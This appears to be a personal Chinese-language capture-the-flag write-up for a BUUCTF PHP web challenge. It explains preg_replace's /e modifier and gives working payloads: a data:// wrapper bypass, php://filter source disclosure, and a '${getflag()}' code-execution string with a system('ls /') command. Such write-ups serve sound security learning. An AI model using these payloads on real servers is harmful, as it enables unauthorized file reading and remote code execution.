BUUCTF-Web-[BJDCTF2020]ZJCTF,不过如此
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助
打开靶机,给了我们一段源码,
第一个if
判断条件可以用data
协议进行绕过,
1 | ?text=data://text/plain,I have a dream |
根据提示需要读取next.php
文件,直接读取没有什么信息,需要使用php://filter
伪协议,
1 | ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php |
base64解码,
1 |
|
pre_replace()
preg_replace() 是 PHP 中一个强大的正则表达式替换函数,用于执行基于正则表达式的搜索和替换操作。
基本语法:
1 | mixed preg_replace ( |
$pattern
- 要搜索的正则表达式模式
可以是字符串或字符串数组
通常用分隔符包围,如 /pattern/
$replacement
- 替换的字符串或字符串数组
可以包含反向引用(如 \\1
, \\2
等)
也可以是回调函数(PHP 5.5.0+)$subject
- 要搜索替换的目标字符串或字符串数组$limit
(可选) - 最大替换次数
默认 -1 表示无限制$count
(可选) - 如果指定,将被填充为完成的替换次数
基本替换
1 | $str = "Hello World"; |
preg_replace
中使用/e
修饰符,这会导致替换字符串被当作PHP代码执行
主要审计这部分代码
1 | function complex($re, $str) { |
1.正则表达式构建 '/(' . $re . ')/ei'
将用户输入的 $re
作为正则表达式的一部分
用括号 ()
捕获匹配的内容(组1)
/e
修饰符使替换字符串被当作PHP代码执行
/i
修饰符表示不区分大小写
2.替换部分'strtolower("\\1")'
\\1
表示正则匹配的第一个捕获组
表面上看是将匹配的内容转换为小写
在正则表达式替换中:\1
表示反向引用,指向正则表达式中第一个捕获组(第一个括号匹配的内容)
在PHP字符串中,由于反斜杠需要转义,所以写成\\1
构造payload:
1 | /next.php?\S*=${getflag()}&cmd=system('ls /'); |
构造的正则表达式:
1 | preg_replace('/(\S*)/ei', 'strtolower("\\1")', "${getflag()}"); |
\S*
表示”匹配任意长度的非空白字符序列”,确保能捕获到 ${getflag()} 这部分,
PHP在双引号字符串中会解析 ${} 语法,
由于/e
修饰符和${}
的PHP可变变量特性:${getflag()}
会被当作PHP代码执行,
从而调用getflag()
函数,
获得flag